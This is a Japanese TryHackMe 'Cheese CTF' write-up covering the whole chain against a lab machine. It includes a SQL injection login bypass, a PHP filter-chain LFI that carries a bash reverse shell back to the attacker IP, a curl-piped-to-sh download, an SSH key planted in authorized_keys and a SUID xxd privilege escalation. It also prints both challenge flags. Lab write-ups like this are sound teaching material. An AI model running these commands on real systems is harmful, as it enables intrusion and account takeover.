はじめに
今回はTryHackMeのwriteup兼備忘録になります。
今回は難易度がEasyである「Cheese CTF」というRoomを攻略しました。
※扱い次第では法に触れるため、悪用厳禁です。
Task1とTask3は省略します。
環境
環境 | IPアドレス |
---|---|
攻撃マシン | 10.8.59.30 |
ターゲットマシン | 10.10.210.18 |
Task2 Flags
What is the user.txt flag?
最初にポートスキャンを行います。
┌──(kali㉿kali)-[~]
└─$ nmap -Pn -T4 10.10.210.18
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-09 20:00 JST
Nmap scan report for 10.10.210.18
Host is up (0.25s latency).
PORT STATE SERVICE
1/tcp open tcpmux
3/tcp open compressnet
4/tcp open unknown
6/tcp open unknown
7/tcp open echo
9/tcp open discard
13/tcp open daytime
17/tcp open qotd
19/tcp open chargen
20/tcp open ftp-data
21/tcp open ftp
22/tcp open ssh
23/tcp open telnet
24/tcp open priv-mail
25/tcp open smtp
26/tcp open rsftp
30/tcp open unknown
32/tcp open unknown
33/tcp open dsp
37/tcp open time
42/tcp open nameserver
43/tcp open whois
49/tcp open tacacs
53/tcp open domain
70/tcp open gopher
79/tcp open finger
80/tcp open http
81/tcp open hosts2-ns
82/tcp open xfer
83/tcp open mit-ml-dev
...
65389/tcp open unknown
ページ内を探索していたところ、ログインページを見つけました。
どうやらログインページ内で、SQLインジェクションを実行するとのこと。
SQLインジェクションと言えば「OR 1 = 1」が印象的ですが、パイプを使用した表記が正しいっぽい。参考
' || ' 1 '=' 1 ';-- -
「Orders」を選択して遷移されたページのURL「php?file=php://filter」に対し、ローカルファイルインクルード(LFI)が有効であるとのこと。参考
下記の手順を参考にし、ペイロードを作成してリバースシェルを行います。参考
ペイロードを攻撃側マシンに作成します。その際には、攻撃側マシンのIPと任意なポートを指定しておきます。
phpのコードはこちらを参考にしています。参考
また「|grep」を加えて、ペイロードに必要な箇所のみ抽出し、任意なファイル名を指定して出力します。
┌──(kali㉿kali)-[~/Downloads]
└─$ python3 php_filter_chain_generator.py --chain "<?php exec('/bin/bash -c \"bash -i >& /dev/tcp/10.8.59.30/1234 0>&1\"'); ?>" | grep "^php" > payload.txt
netcatコマンドで先ほど指定したポートを待ち受けます。
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 1234
listening on [any] 1234 ...
curlコマンドを実行してリクエストを送信し、リバースシェルの取得を試みます。
┌──(kali㉿kali)-[~/Downloads]
└─$ curl "http://10.10.210.18//secret-script.php?file=$(cat payload.txt)"
成功しました。
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.8.59.30] from (UNKNOWN) [10.10.210.18] 37348
bash: cannot set terminal process group (874): Inappropriate ioctl for device
bash: no job control in this shell
www-data@cheesectf:/var/www/html$
ターゲット先で「user.txt」を見つけましたが、権限上確ファイルの中身の確認ができませんでした。
www-data@cheesectf:/var/www/html$ cd /home
cd /home
www-data@cheesectf:/home$ ls
ls
comte
www-data@cheesectf:/home$ cd comte
cd comte
www-data@cheesectf:/home/comte$ ls
ls
snap
user.txt
www-data@cheesectf:/home/comte$
www-data@cheesectf:/home/comte$ ls -l
ls -l
total 12
drwx------ 3 comte comte 4096 Mar 25 2024 snap
-rw------- 1 comte comte 4276 Sep 15 2023 user.txt
何か権限昇格できないかを参考サイトを参考にLinPEASを実行します。参考
ターゲット環境でスクリプトの実行ができそうな「tmp」内での実行を試みます。
www-data@cheesectf:/$ ls -l
ls -l
total 2097220
lrwxrwxrwx 1 root root 7 Mar 14 2023 bin -> usr/bin
drwxr-xr-x 4 root root 4096 Mar 28 2024 boot
drwxr-xr-x 16 root root 3920 Oct 13 04:32 dev
drwxr-xr-x 105 root root 4096 Apr 4 2024 etc
drwxr-xr-x 3 root root 4096 Sep 27 2023 home
lrwxrwxrwx 1 root root 7 Mar 14 2023 lib -> usr/lib
lrwxrwxrwx 1 root root 9 Mar 14 2023 lib32 -> usr/lib32
lrwxrwxrwx 1 root root 9 Mar 14 2023 lib64 -> usr/lib64
lrwxrwxrwx 1 root root 10 Mar 14 2023 libx32 -> usr/libx32
drwx------ 2 root root 16384 Sep 27 2023 lost+found
drwxr-xr-x 2 root root 4096 Mar 25 2024 media
drwxr-xr-x 2 root root 4096 Mar 14 2023 mnt
drwxr-xr-x 2 root root 4096 Mar 29 2024 opt
dr-xr-xr-x 170 root root 0 Oct 13 04:31 proc
drwx------ 6 root root 4096 Apr 4 2024 root
drwxr-xr-x 30 root root 880 Oct 13 04:32 run
lrwxrwxrwx 1 root root 8 Mar 14 2023 sbin -> usr/sbin
drwxr-xr-x 6 root root 4096 Mar 14 2023 snap
drwxr-xr-x 2 root root 4096 Mar 14 2023 srv
-rw------- 1 root root 2147483648 Sep 27 2023 swap.img
dr-xr-xr-x 13 root root 0 Oct 13 04:31 sys
drwxrwxrwt 2 root root 4096 Oct 13 06:04 tmp
drwxr-xr-x 14 root root 4096 Mar 14 2023 usr
drwxr-xr-x 14 root root 4096 Sep 27 2023 var
攻撃側の環境でスクリプトをダウンロードしておきます。
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
その後に、サーバを立ち上げます。
┌──(kali㉿kali)-[~/Downloads]
└─$ python -m http.server 80
ターゲット環境先で、攻撃マシンからスクリプトをダウンロードします。
www-data@cheesectf:/lib$ cd ../tmp
cd ../tmp
www-data@cheesectf:/tmp$ wget http://10.8.59.30/linpeas.sh
wget http://10.8.59.30/linpeas.sh
--2024-10-13 06:04:36-- http://10.8.59.30/linpeas.sh
Connecting to 10.8.59.30:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 824745 (805K) [text/x-sh]
Saving to: 'linpeas.sh'
0K .......... .......... .......... .......... .......... 6% 81.5K 9s
50K .......... .......... .......... .......... .......... 12% 162K 7s
100K .......... .......... .......... .......... .......... 18% 164K 5s
150K .......... .......... .......... .......... .......... 24% 161K 5s
200K .......... .......... .......... .......... .......... 31% 8.31M 3s
250K .......... .......... .......... .......... .......... 37% 9.97M 3s
300K .......... .......... .......... .......... .......... 43% 166K 2s
350K .......... .......... .......... .......... .......... 49% 17.2M 2s
400K .......... .......... .......... .......... .......... 55% 9.48M 1s
450K .......... .......... .......... .......... .......... 62% 9.91M 1s
500K .......... .......... .......... .......... .......... 68% 10.1M 1s
550K .......... .......... .......... .......... .......... 74% 171K 1s
600K .......... .......... .......... .......... .......... 80% 9.71M 1s
650K .......... .......... .......... .......... .......... 86% 9.31M 0s
700K .......... .......... .......... .......... .......... 93% 9.99M 0s
750K .......... .......... .......... .......... .......... 99% 9.53M 0s
800K ..... 100% 7.73M=2.2s
2024-10-13 06:04:39 (369 KB/s) - 'linpeas.sh' saved [824745/824745]
www-data@cheesectf:/tmp$
ダウンロードしたスクリプトに実行権限を付与します。
lswww-data@cheesectf:/tmp$ -
www-data@cheesectf:/tmp$ l
ls -l
total 808
-rw-r--r-- 1 www-data www-data 824745 Oct 11 02:05 linpeas.sh
www-data@cheesectf:/tmp$ chmod +x linepeas.sh
chmod +x linepeas.sh
chmod: cannot access 'linepeas.sh': No such file or directory
www-data@cheesectf:/tmp$ chmod +x linpeas.sh
chmod +x linpeas.sh
www-data@cheesectf:/tmp$ ls -l
ls -l
total 808
-rwxr-xr-x 1 www-data www-data 824745 Oct 11 02:05 linpeas.sh
www-data@cheesectf:/tmp$
実行します。
www-data@cheesectf:/tmp$ sh linpeas.sh
結果を確認したところ、下記ファイルには書き込みが可能であるとのこと。
╔══════════╣ Interesting writable files owned by me or writable by everyone (not in Home) (max 200)
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files
/dev/mqueue
/dev/shm
/etc/systemd/system/exploit.timer
/home/comte/.ssh/authorized_keys
/run/lock
/run/lock/apache2
/run/screen
/snap/core20/2015/run/lock
/snap/core20/2015/tmp
/snap/core20/2015/var/tmp
/snap/core20/2182/run/lock
/snap/core20/2182/tmp
/snap/core20/2182/var/tmp
/tmp
/tmp/linpeas.sh
/tmp/tmux-33
/var/cache/apache2/mod_cache_disk
/var/crash
/var/lib/php/sessions
/var/tmp
authorized_keysの変更が可能である事を確認した為、攻撃環境で発行したSSHキーを書き込み、パスワードなしでssh接続によるログインを試みます。
──(kali㉿kali)-[~/Downloads]
└─$ sudo ssh-keygen -t rsa
[sudo] password for kali:
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa
Your public key has been saved in /root/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:TmBLdM05tIk6rf2BrhhyXJZc5/d2VfPb8CP+VIOMO3E root@kali
The key's randomart image is:
+---[RSA 3072]----+
| . .+.. |
| . . .=o |
| + o +. ..|
| + B o o . +|
| O S .o.E..+|
| . o * . .+. o*|
| . + . + .o .o++|
| o o . . .o.o..|
| . ... . ... |
+----[SHA256]-----+
「root」フォルダにSSHキーが作成されるので、内容を確認しターゲット環境に書き込みます。
──(kali㉿kali)-[~/Downloads]
└─$ sudo cat /root/.ssh/id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC1QlQxMnLUWrDgzFoihkKjEBtSHUB4G+r3GXPDlsuhv3I+Beb53updUVHjMl52qnmPlqYP+yibm0yjUrqYCvBGL1872Styrt+ZOaysEOR7RAZ7f8c5USYXYOkVoM0xs+6dGG
...
echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC1QlQxMnLUWrDgzFoihkKjEBtSHUB4G+r3GXPDlsuhv3I+Beb53updUVHjMl52qnmPlqYP+yibm0yjUrqYCvBGL1872Styrt+ZOaysEOR7RAZ7f8c5USYXYOkVoM0xs+6dGG
... > /home/comte/.ssh/authorized_keys
rootにログインをし、ssh接続を行います。
┌──(kali㉿kali)-[~/Downloads]
└─$ sudo su - root
┌──(root㉿kali)-[~]
└─# ssh -i id_rsa comte@10.10.210.18
Warning: Identity file id_rsa not accessible: No such file or directory.
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-174-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sun 13 Oct 2024 08:04:46 AM UTC
System load: 0.72 Processes: 139
Usage of /: 31.1% of 18.53GB Users logged in: 0
Memory usage: 14% IPv4 address for ens5: 10.10.210.18
Swap usage: 0%
* Introducing Expanded Security Maintenance for Applications.
Receive updates to over 25,000 software packages with your
Ubuntu Pro subscription. Free for personal use.
https://ubuntu.com/pro
Expanded Security Maintenance for Applications is not enabled.
47 updates can be applied immediately.
To see these additional updates run: apt list --upgradable
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Thu Apr 4 17:26:03 2024 from 192.168.0.112
comte@cheesectf:~$ ^C
テキストファイルを確認し、一つ目のフラグ獲得になります。
comte@cheesectf:~$ ls
snap user.txt
comte@cheesectf:~$ cat user.txt
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⣶⣤⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⡾⠋⠀⠉⠛⠻⢶⣦⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⠟⠁⣠⣴⣶⣶⣤⡀⠈⠉⠛⠿⢶⣤⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⡿⠃⠀⢰⣿⠁⠀⠀⢹⡷⠀⠀⠀⠀⠀⠈⠙⠻⠷⣶⣤⣀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⠋⠀⠀⠀⠈⠻⠷⠶⠾⠟⠁⠀⠀⣀⣀⡀⠀⠀⠀⠀⠀⠉⠛⠻⢶⣦⣄⡀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⠟⠁⠀⠀⢀⣀⣀⡀⠀⠀⠀⠀⠀⠀⣼⠟⠛⢿⡆⠀⠀⠀⠀⠀⣀⣤⣶⡿⠟⢿⡇
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⡿⠋⠀⠀⣴⡿⠛⠛⠛⠛⣿⡄⠀⠀⠀⠀⠻⣶⣶⣾⠇⢀⣀⣤⣶⠿⠛⠉⠀⠀⠀⢸⡇
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣾⠟⠀⠀⠀⠀⢿⣦⡀⠀⠀⠀⣹⡇⠀⠀⠀⠀⠀⣀⣤⣶⡾⠟⠋⠁⠀⠀⠀⠀⠀⣠⣴⠾⠇
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⡿⠁⠀⠀⠀⠀⠀⠀⠙⠻⠿⠶⠾⠟⠁⢀⣀⣤⡶⠿⠛⠉⠀⣠⣶⠿⠟⠿⣶⡄⠀⠀⣿⡇⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣶⠟⢁⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣠⣴⠾⠟⠋⠁⠀⠀⠀⠀⢸⣿⠀⠀⠀⠀⣼⡇⠀⠀⠙⢷⣤⡀
⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⠟⠁⠀⣾⡏⢻⣷⠀⠀⠀⢀⣠⣴⡶⠟⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⣷⣤⣤⣴⡟⠀⠀⠀⠀⠀⢻⡇
⠀⠀⠀⠀⠀⠀⣠⣾⠟⠁⠀⠀⠀⠙⠛⢛⣋⣤⣶⠿⠛⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠁⠀⠀⠀⠀⠀⠀⢸⡇
⠀⠀⠀⠀⣠⣾⠟⠁⠀⢀⣀⣤⣤⡶⠾⠟⠋⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣤⣤⣤⣤⣤⣤⡀⠀⠀⠀⠀⠀⢸⡇
⠀⠀⣠⣾⣿⣥⣶⠾⠿⠛⠋⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣶⠶⣶⣤⣀⠀⠀⠀⠀⠀⢠⡿⠋⠁⠀⠀⠀⠈⠉⢻⣆⠀⠀⠀⠀⢸⡇
⠀⢸⣿⠛⠉⠁⠀⢀⣠⣴⣶⣦⣀⠀⠀⠀⠀⠀⠀⠀⣠⡿⠋⠀⠀⠀⠉⠻⣷⡀⠀⠀⠀⣿⡇⠀⠀⠀⠀⠀⠀⠀⠘⣿⠀⠀⠀⠀⢸⡇
⠀⢸⣿⠀⠀⠀⣴⡟⠋⠀⠀⠈⢻⣦⠀⠀⠀⠀⠀⢰⣿⠁⠀⠀⠀⠀⠀⠀⢸⣷⠀⠀⠀⢻⣧⠀⠀⠀⠀⠀⠀⠀⢀⣿⠀⠀⠀⠀⢸⡇
⠀⢸⡇⠀⠀⠀⢿⡆⠀⠀⠀⠀⢰⣿⠀⠀⠀⠀⠀⢸⣿⠀⠀⠀⠀⠀⠀⠀⣸⡟⠀⠀⠀⠀⠙⢿⣦⣄⣀⣀⣠⣤⡾⠋⠀⠀⠀⠀⢸⡇
⠀⢸⡇⠀⠀⠀⠘⣿⣄⣀⣠⣴⡿⠁⠀⠀⠀⠀⠀⠀⢿⣆⠀⠀⠀⢀⣠⣾⠟⠁⠀⠀⠀⠀⠀⠀⠀⠉⠉⠉⠉⠉⠀⠀⠀⣀⣤⣴⠿⠃
⠀⠸⣷⡄⠀⠀⠀⠈⠉⠉⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⠻⠿⠿⠛⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣠⣴⡶⠟⠋⠉⠀⠀⠀
⠀⠀⠈⢿⣆⠀⠀⠀⠀⠀⠀⠀⣀⣤⣴⣶⣶⣤⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣴⡶⠿⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⢨⣿⠀⠀⠀⠀⠀⠀⣼⡟⠁⠀⠀⠀⠹⣷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣤⣶⠿⠛⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⣠⡾⠋⠀⠀⠀⠀⠀⠀⢻⣇⠀⠀⠀⠀⢀⣿⠀⠀⠀⠀⠀⠀⢀⣠⣤⣶⠿⠛⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⢠⣾⠋⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⣤⣤⣤⣴⡿⠃⠀⠀⣀⣤⣶⠾⠛⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠉⣀⣠⣴⡾⠟⠋⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣤⡶⠿⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⣿⡇⠀⠀⠀⠀⣀⣤⣴⠾⠟⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⢻⣧⣤⣴⠾⠟⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠘⠋⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
THM{9f2ce3df1beeecaf695b3a8560c682704c31b17a}
comte@cheesectf:~$
What is the root.txt flag?
現在のユーザーで、sudoコマンドの実行が可能なものを確認します。
comte@cheesectf:/$ sudo -l
User comte may run the following commands on cheesectf:
(ALL) NOPASSWD: /bin/systemctl daemon-reload
(ALL) NOPASSWD: /bin/systemctl restart exploit.timer
(ALL) NOPASSWD: /bin/systemctl start exploit.timer
(ALL) NOPASSWD: /bin/systemctl enable exploit.timer
「exploit.timer」というファイルが実行されているようなので、探してみます。
comte@cheesectf:/$ find -name "exploit.timer"
...
find: ‘./lost+found’: Permission denied
./etc/systemd/system/exploit.timer
find: ‘./etc/ssl/private’: Permission denied
...
見つけたので、中身を見てみます。
comte@cheesectf:/$ cat /etc/systemd/system/exploit.timer
[Unit]
Description=Exploit Timer
[Timer]
OnBootSec=
[Install]
WantedBy=timers.target
OnBootSecに任意な数値を入れてみます。
comte@cheesectf:/$ vim /etc/systemd/system/exploit.timer
comte@cheesectf:/$
comte@cheesectf:/$ cat /etc/systemd/system/exploit.timer
[Unit]
Description=Exploit Timer
[Timer]
OnBootSec=10
[Install]
WantedBy=timers.target
comte@cheesectf:/$
systemctlコマンドについて調べていたところ、ステータス確認ができるみたいなので、そちらを実行してみます。参考
確認したところ「Active」となっているので、おそらく動いているっぽい。
comte@cheesectf:/$ /bin/systemctl status exploit.timer
● exploit.timer - Exploit Timer
Loaded: loaded (/etc/systemd/system/exploit.timer; enabled; vendor preset: enabled)
Active: active (elapsed) since Sun 2024-10-13 10:21:55 UTC; 3min 23s ago
Trigger: n/a
Triggers: ● exploit.service
comte@cheesectf:/$
「exploit.service」ファイルがトリガーとして実行されているようでしたので、「exploit.timer」と同じディレクトリにあるそのファイルを見てみます。
comte@cheesectf:/etc/systemd/system$ cat exploit.service
[Unit]
Description=Exploit Service
[Service]
Type=oneshot
ExecStart=/bin/bash -c "/bin/cp /usr/bin/xxd /opt/xxd && /bin/chmod +sx /opt/xxd"
comte@cheesectf:/etc/systemd/system$
内容を確認するに、「/opt」にSUIDの実行権限が付与された「xxd」がコピーされているようです。
下記サイトを参考に、「root.txt」ファイルの読み込みを試みます。参考
comte@cheesectf:/opt$ LFILE=/root/root.txt
comte@cheesectf:/opt$ ./xxd "$LFILE" | xxd -r
_ _ _ _ __
___| |__ ___ ___ ___ ___ (_)___ | (_)/ _| ___
/ __| '_ \ / _ \/ _ \/ __|/ _ \ | / __| | | | |_ / _ \
| (__| | | | __/ __/\__ \ __/ | \__ \ | | | _| __/
\___|_| |_|\___|\___||___/\___| |_|___/ |_|_|_| \___|
THM{dca75486094810807faf4b7b0a929b11e5e0167c}
無事2つ目のフラグを獲得できました。
以上になります。
(かなり難しかった。。。)